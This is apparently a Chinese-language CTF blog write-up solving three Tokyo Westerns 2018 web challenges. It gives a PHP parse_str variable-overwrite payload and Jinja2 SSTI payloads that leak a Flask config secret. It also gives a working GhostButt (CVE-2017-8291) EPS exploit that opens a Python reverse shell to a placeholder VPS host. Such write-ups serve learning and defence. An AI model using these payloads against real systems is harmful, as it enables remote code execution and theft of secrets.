Xi4or0uji's blog

2018 Tokyo Westerns CTF

字数统计: 808阅读时长: 4 min
2019/02/26 Share

WEB

Simple Auth

首先可以拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}

if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}

它需要传过去的action等于auth,记录下user和pass,如果md5(user.pass)===’c019f6e5cd8aa0bbbcc6e994a54c757e’,那就有flag
很明显直接md5进行解密是不行的,但是我们看到有个parse_str函数,而且还没有第二个参数,因此可以进行变量覆盖的漏洞利用,payload:

1
?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e

然后就能拿到flag

1
TWCTF{d0_n0t_use_parse_str_without_result_param}

Shrine

这题进去就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

可以看到用了jinja和有一堆黑名单,猜测是jinja2的ssti注入

信息收集

1、/shrine/<path: shrine>是注入点
2、过滤了括号和config以及self
3、漏洞是jinja2的ssti漏洞

简单尝试

试下能不能执行

1
2
http://shrine.chal.ctf.westerns.tokyo/shrine/{{3*3}}
>>>>9

确实可以进行ssti,但是我们要想办法绕开waf
如果完全没有waf,我们可以

1
2
3
4
5
6
7
# config
http://shrine.chal.ctf.westerns.tokyo/shrine/{{config}}
# self
# {{self}} => <TemplateReference None>
http://shrine.chal.ctf.westerns.tokyo/shrine/{{self.__dict__}}
# ()
http://shrine.chal.ctf.westerns.tokyo/shrine/{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

但是现在有waf,所以我们不能直接利用,这里大佬给了两个利用点
url_for
在url_for里面,我们可以找到current_app

1
2
{{url_for.__globals__}}
http://shrine.chal.ctf.westerns.tokyo/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

get_flashed_messages
这个里面也能找到current_app

1
2
{{get_flashed_messages.__globals__}}
http://shrine.chal.ctf.westerns.tokyo/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

这样就能拿到flag了TWCTF{pray_f0r_sacred_jinja2}

slack emoji converter

依旧是能拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
make_response,
)
from PIL import Image
import tempfile
import os

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/source')
def source():
return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
f = request.files.get('image', None)
if not f:
return redirect(url_for('index'))
ext = f.filename.split('.')[-1]
fname = tempfile.mktemp("emoji")
fname = "{}.{}".format(fname, ext)
f.save(fname)
img = Image.open(fname)
w, h = img.size
r = 128/max(w, h)
newimg = img.resize((int(w*r), int(h*r)))
newimg.save(fname)
response = make_response()
response.data = open(fname, "rb").read()
response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
os.unlink(fname)
return response

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)

这题考了GhostButt任意命令执行(cve-2017-8291),通过bypass dSAFER参数达到目的,exp如下

1
2
3
4
5
6
7
8
9
10
!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 30 30

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops

然后就能getshell了
具体分析请参考: https://paper.seebug.org/310/
https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291

CATALOG
  1. 1. WEB
    1. 1.1. Simple Auth
    2. 1.2. Shrine
      1. 1.2.1. 信息收集
      2. 1.2.2. 简单尝试
    3. 1.3. slack emoji converter